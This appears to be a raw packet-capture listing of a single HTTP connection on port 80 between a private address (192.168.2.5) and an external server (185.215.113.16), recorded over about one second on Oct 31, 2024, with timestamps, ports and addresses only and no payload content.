Oct 31, 2024 02:08:19.482924938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.492760897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.492788076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.492801905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.492825985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.492887020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.492902040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.492916107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.492933035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.492938042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.492954016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.492959976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.493000031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.503695011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.503717899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.503755093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.503771067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.503863096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.503875017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.503897905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.503905058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.503912926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.503932953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.503933907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.503947020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.503971100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.503974915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504002094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504014015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.504014969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504046917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.504057884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504070997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504084110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504098892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504112959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.504123926 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.504153013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504168034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504210949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.504240036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504252911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504273891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504297018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504298925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.504311085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504336119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504338026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.504350901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504367113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504374981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.504406929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.504472017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504486084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504499912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504513979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504520893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.504527092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504548073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.504561901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504576921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504590034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504630089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.504674911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504688978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504703045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504734039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504745007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.504749060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504795074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.504806042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504842997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504857063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504873991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504878044 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.504895926 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.504935026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504947901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504967928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504981041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.504993916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.505000114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.505014896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.505029917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.505045891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.505063057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.505068064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.505089045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.505143881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.505157948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.505207062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.505219936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.505234957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.505244017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.505259037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.505274057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.505275965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.505291939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.505314112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.553648949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.676002979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.680803061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961036921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961064100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961078882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961092949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961108923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961128950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961144924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961164951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961179018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961240053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961275101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961289883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961292982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.961292982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.961304903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961324930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961324930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.961334944 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.961339951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961358070 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.961402893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961417913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961432934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961441040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.961469889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.961493015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961508036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961523056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961539030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961545944 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.961571932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.961638927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961668968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961683035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961704016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961708069 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.961719036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961733103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961740971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.961750031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961771011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.961786985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961801052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961815119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961823940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.961828947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961855888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.961894989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961909056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961930990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.961976051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.961997032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.962012053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.962012053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.962028980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.962044001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.962049007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.962084055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.962147951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.962162018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.962176085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.962188005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.962197065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.962209940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.962225914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.962234974 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.962239981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.962258101 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.962284088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.962299109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.962320089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.006778002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.117491007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.117505074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.117650032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.117815018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.117877960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.117888927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.117898941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.117917061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.117923021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.117928982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.117938042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.117968082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.117970943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.117978096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118007898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.118032932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118046045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118056059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118067980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118097067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.118123055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.118216991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118227005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118262053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.118300915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118319988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118330956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118341923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118352890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118356943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.118376017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.118469000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118480921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118490934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118509054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.118524075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.118577003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118588924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118598938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118618965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.118680000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118709087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118717909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118717909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.118752003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.118788958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118798971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118808985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118819952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118838072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.118851900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.118860006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118870974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118907928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118920088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118920088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.118932009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118956089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.118967056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118978024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.118988991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119004011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119005919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.119026899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.119064093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119098902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.119102955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119177103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119188070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119199038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119214058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.119232893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.119250059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119261980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119271994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119317055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.119457006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119481087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119491100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119498014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.119525909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.119539976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119551897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119561911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119601011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.119611979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119651079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.119724035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119734049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119745016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119755030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119769096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.119771957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119785070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119788885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.119796038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119807005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119811058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119836092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.119863987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119875908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119877100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.119903088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.119914055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119925976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119935989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119951963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.119972944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.119980097 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.120016098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120052099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.120070934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120083094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120094061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120119095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.120151043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120161057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120187998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.120192051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120229006 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.120232105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120243073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120271921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.120294094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120305061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120316982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120353937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.120373011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120383024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120409012 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.120460987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120472908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120482922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120496035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120498896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.120506048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120511055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.120527983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120539904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120544910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.120547056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120588064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.120822906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120863914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.120878935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120893002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120929956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.120930910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120942116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120953083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.120976925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.121068001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.121376038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.121387959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.121397972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.121408939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.121419907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.121423960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.121431112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.121459007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.163049936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.271428108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.271552086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.271605968 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.271636009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.271646023 CET	80	49712	185.215.113.16	192.168.2.5
